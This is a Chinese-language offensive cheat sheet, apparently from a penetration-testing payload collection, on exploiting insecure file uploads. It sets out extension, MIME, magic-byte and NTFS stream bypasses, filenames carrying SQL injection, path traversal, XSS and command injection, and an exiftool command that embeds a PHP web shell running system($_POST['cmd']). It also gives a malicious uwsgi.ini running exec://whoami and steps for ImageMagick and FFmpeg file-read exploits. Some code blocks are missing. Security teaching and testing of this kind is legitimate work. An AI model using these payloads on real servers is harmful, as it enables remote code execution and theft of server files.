不安全文件上传 (Upload Insecure Files)
如果处理不当,上传的文件可能会带来显著的安全风险。远程攻击者可以通过发送带有精心设计的文名或 MIME 类型的
multipart/form-dataPOST 请求,从而执行任意代码。
摘要 (Summary)
工具 (Tools)
- almandin/fuxploider - 文件上传漏洞扫描与利用工具。
- Burp/Upload Scanner - 用于 Burp Proxy 的 HTTP 文件上传扫描器。
- ZAP/FileUpload - 用于发现文件上传功能漏洞的 OWASP ZAP 插件。
方法论 (Methodology)

默认扩展名 (Defaults Extensions)
以下是所选语言(PHP, ASP, JSP)中常见的 Web Shell 页面默认扩展名列表。
-
PHP 服务器
-
ASP 服务器
-
JSP :
.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .actions - Perl:
.pl, .pm, .cgi, .lib - Coldfusion:
.cfm, .cfml, .cfc, .dbm - Node.js:
.js, .json, .node
其他可被利用来触发不同漏洞的扩展名:
.svg: XXE, XSS, SSRF.gif: XSS.csv: CSV 注入.xml: XXE.avi: LFI, SSRF.js: XSS, 开放重定向.zip: RCE, DOS, LFI 利用链 (Gadget).html: XSS, 开放重定向
上传技巧 (Upload Tricks)
扩展名绕过:
- 使用双重扩展名:
.jpg.php, .png.php5 - 使用反向双重扩展名(适用于利用 Apache 的配置错误,即只要包含 .php 即可执行,不一定非要以其结尾):
.php.jpg - 随机大小写:
.pHp, .pHP5, .PhAr - 空字节(Null byte,对
pathinfo()等函数有效).php%00.gif.php\x00.gif.php%00.png.php\x00.png.php%00.jpg.php\x00.jpg
-
特殊字符
- 多个点:
file.php......。在 Windows 上,文件名末尾的点会被自动移除。 - 空格与换行符
file.php%20file.php%0d%0a.jpgfile.php%0a
- 从右至左重写字符 (RTLO):
name.%E2%80%AEphp.jpg会变为name.gpj.php。 - 斜杠:
file.php/,file.php.\,file.j\sp,file.j/sp - 多个特殊字符组合:
file.jsp/././././. - UTF8 文件名:
Content-Disposition: form-data; name="anyBodyParam"; filename*=UTF8''myfile%0a.txt
- 多个点:
-
在 Windows 操作系统上,
include,require和require_once函数会将 "foo.php" 后跟一个或多个字符\x20(空格),\x22("),\x2E(.),\x3C(<),\x3E(>) 重新转换回 "foo.php"。 - 在 Windows 操作系统上,
fopen函数会将 "foo.php" 后跟一个或多个字符\x2E(.),\x2F(/),\x5C() 重新转换回 "foo.php"。 -
在 Windows 操作系统上,
move_uploaded_file函数会将 "foo.php" 后跟一个或多个字符\x2E(.),\x2F(/),\x5C() 重新转换回 "foo.php"。 -
在 Windows 操作系统上,在 IIS 上运行 PHP 时,保存文件时某些字符会被自动转换(例如
web<<会变成web**,并可以替换web.config)。\x3E(>) 被转换为\x3F(?)\x3C(<) 被转换为\x2A(*)\x22(") 被转换为\x2E(.)。要在文件上传请求中使用此技巧,Content-Disposition头应使用单引号(例如 filename='web"config')。
文件标识绕过 (File Identification):
MIME 类型(Multipurpose Internet Mail Extensions type)是告诉浏览器、服务器和应用程序正在处理何种文件或数据的标准化标识符。它由类型和子类型组成,中间以斜杠分隔。将 application/x-php 或 application/x-php 或 application/octet-stream 更改为 image/gif 可以将内容伪装成图像。
-
常见的图像 Content-Type:
-
Content-Type 字典:SecLists/web-all-content-types.txt
-
设置两次
Content-Type,一次是不允许的类型,一次是允许的类型。
文件头魔术字节 (Magic Bytes) - 有时应用程序根据文件的前几个特征字节来识别文件类型。在文件中添加/替换这些字节可能会欺骗应用程序。
- PNG:
\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03[ - JPG:
\xff\xd8\xff - GIF:
GIF87a或GIF8;
文件封装绕过 (File Encapsulation):
利用 Windows 中的 NTFS 替代数据流 (ADS)。
在这种情况下,冒号字符 ":" 将被插入到禁止的扩展名之后和允许的扩展名之前。结果是,服务器上将创建一个扩展名为禁止扩展名的空文件(例如 "file.asax:.jpg")。稍后可以使用其他技术(如短文件名)来编辑该文件。"::$data" 模式也可用于创建非空文件。此外,在此模式后添加一个点字符也可能有助于绕过进一步的限制(例如 "file.asp::$data.")。
其他技巧:
PHP Web Shell 并不总是必须包含 <?php 标签,以下是一些替代方案:
-
使用 PHP 脚本标签
<script language="php"> -
<?=是 PHP 中输出值的简写语法,相当于<?php echo。
文件名相关漏洞 (Filename Vulnerabilities)
有时漏洞不在于上传本身,而在于之后如何处理文件。你可能想要上传文件名中带有攻击载荷的文件。
- 时间型 SQL 注入载荷:例如
poc.js'(select*from(select(sleep(20)))a)+'.extension - LFI/目录穿越载荷:例如
image.png../../../../../../../etc/passwd - XSS 载荷:例如
'"><img src=x onerror=alert(document.domain)>.extension - 文件穿越:例如
../../../tmp/lol.png - 命令注入:例如
; sleep 10;
还可以上传:
- HTML/SVG 文件以触发 XSS
- EICAR 文件以检查是否存在杀毒软件
图片压缩绕过 (Picture Compression)
创建包含 PHP 代码的合法图片。上传图片并使用本地文件包含 (LFI) 来执行代码。可以使用以下命令调用 Shell:curl 'http://localhost/test.php?0=system' --data "1='ls'"。
- 图片元数据:将载荷隐藏在元数据的注释标签中。
- 图片裁剪/缩放:将载荷隐藏在压缩算法中,以绕过缩放处理。这也可以击败
getimagesize()和imagecreatefromgif()的检测。
图片元数据利用 (Picture Metadata)
创建自定义图片并使用 exiftool 插入 Exif 标签。可以在 exiv2.org 找到多个 Exif 标签的列表。
convert -size 110x110 xc:white payload.jpg
exiftool -Copyright="PayloadsAllTheThings" -Artist="Pentest" -ImageUniqueID="Example" payload.jpg
exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
配置文件利用 (Configuration Files)
如果你尝试将文件上传到:
- PHP 服务器:参考 .htaccess 技巧来执行代码。
- ASP 服务器:参考 web.config 技巧来执行代码。
- uWSGI 服务器:参考 uwsgi.ini 技巧来执行代码。
配置文件示例:
Apache: .htaccess
Apache HTTP 服务器中的 .htaccess 文件使用 AddType 指令来为不同的文件扩展名指定 MIME 类型。该指令帮助服务器了解如何处理不同类型的文件,以及在向客户端(如 Web 浏览器)提供文件时应关联什么内容类型。
AddType 指令的基本语法如下:
通过上传包含以下内容的 .htaccess 文件来利用 AddType 指令:
然后上传任何以 .rce 为扩展名的文件即可执行 PHP 代码。
WSGI: uwsgi.ini
uWSGI 配置文件可以包含“魔法”变量、占位符和以精确语法定义的运算符。其中,@ 运算符以 @(文件名) 的形式用于包含文件内容。支持多种 uWSGI 方案,包括 exec——这对于从进程的标准输出中读取非常有用。当解析 .ini 配置文件时,这些运算符可以被武器化,用于远程命令执行或任意文件读写。
一个恶意的 uwsgi.ini 文件示例:
[uwsgi]
; 从符号中读取
foo = @(sym://uwsgi_funny_function)
; 从二进制附加数据中读取
bar = @(data://[已隐藏])
; 从 http 中读取
test = @(http://[已隐藏])
; 从文件描述符中读取
content = @(fd://[已隐藏])
; 从进程标准输出中读取
body = @(exec://whoami)
; 调用返回 char * 的函数
characters = @(call://uwsgi_func)
当解析配置文件时(例如重启、崩溃或自动重载时),载荷将会被执行。
依赖管理器 (Dependency Manager)
此外,你可能可以上传带有自定义脚本的 JSON 文件,尝试覆盖依赖管理器的配置文件。
-
package.json
-
composer.json
CVE - ImageMagick
如果后端使用 ImageMagick 对用户图片进行缩放/转换,你可以尝试利用 ImageTragik 等知名漏洞。
CVE-2016–3714 - ImageTragik
上传带有图像扩展名的此内容以利用漏洞(ImageMagick <= 7.0.1-1):
-
ImageTragik - 示例 #1
-
ImageTragik - 示例 #3
该漏洞可以通过使用 convert 命令触发:
CVE-2022-44268
CVE-2022-44268 是在 ImageMagick 中发现的信息泄露漏洞。攻击者可以通过构造恶意的图像文件来利用此漏洞,当易受攻击版本的软件处理该文件时,可以泄露运行该软件的服务器本地文件系统的信息。
-
生成载荷:
-
通过上传文件触发漏洞。后端可能会执行类似
convert pngout.png pngconverted.png的命令。 - 下载转换后的图片并使用以下命令检查其内容:
identify -verbose pngconverted.png - 转换外带的数据:
python3 -c 'print(bytes.fromhex("来自文件的HEX值").decode("utf-8"))'
在 Picture ImageMagick/ 文件夹中可以找到更多载荷。
CVE - FFMpeg HLS
FFmpeg 是用于处理音频和视频格式的开源软件。你可以在 AVI 视频中使用恶意的 HLS 播放列表来读取任意文件。
./gen_xbin_avi.py file://<文件名> file_read.avi- 将
file_read.avi上传到某个处理视频文件的网站。 - 在服务器端(由视频服务执行):
ffmpeg -i file_read.avi output.mp4 - 在视频服务中点击“播放”。
- 如果运气好,你将在服务器上看到
<文件名>的内容。
该脚本创建了一个包含 GAB2 内 HLS 播放列表的 AVI 文件。该脚本生成的播放列表如下所示:
在 CVE FFmpeg HLS/ 文件夹中可以找到更多载荷。
实验环境 (Labs)
- PortSwigger - 文件上传实验
- Root Me - 文件上传 - 双重扩展名
- Root Me - 文件上传 - MIME 类型
- Root Me - 文件上传 - 空字节
- Root Me - 文件上传 - ZIP
- Root Me - 文件上传 - 混合文件 (Polyglot)
参考资料 (References)
- 从“肮脏”的任意文件写入到 RCE 的新向量 - Doyensec - Maxence Schmitt 和 Lorenzo Stella - 2023年2月28日
- Java 中的任意文件上传技巧 - pyn3rd - 2022年5月7日
- 通过 .htaccess 攻击 Web 服务器 - Eldar Marcussen - 2011年5月17日
- BookFresh 巧妙的文件上传绕过实现 RCE - Ahmed Aboul-Ela - 2014年11月29日
- 防弹 JPEG 生成器 - Damien Cauquil (@virtualabs) - 2012年4月9日
- 在 PNG IDAT 块中编码 Web Shell - phil - 2012年6月4日
- 文件上传 - HackTricks - 2024年7月20日
- IIS 上的文件上传与 PHP:>=? 和 <=* 以及 "=. - Soroush Dalili (@irsdl) - 2014年7月23日
- 文件上传限制绕过 - Haboob 团队 - 2018年7月24日
- IIS - SOAP - 在阴影中穿行 - 0xbad53c - 2024年5月19日
- 流行图像格式中的注入点 - Daniel Kalinowski - 2019年11月8日
- Insomnihack Teaser 2019 / l33t-hoster - Ian Bouchard (@Corb3nik) - 2019年1月20日
- 在 PHP-GD 处理的上传图片中进行代码注入 - hackplayers - 2020年3月22日
- 伪装成 PHP 的 PNG - Philippe Paget (@PagetPhil) - 2014年2月23日
- 更多 Ghostscript 问题:我们是否应默认禁用 policy.xml 中的 PS 编码器?- Tavis Ormandy - 2018年8月21日
- PHDays - 针对视频转换器的攻击:一年后 - Emil Lerner, Pavel Cheremushkin - 2017年12月20日
- 防御不受限制的文件上传漏洞 - Narendra Shinde - 2015年10月22日
- .phpt 文件结构 - PHP Internals Book - 2017年10月18日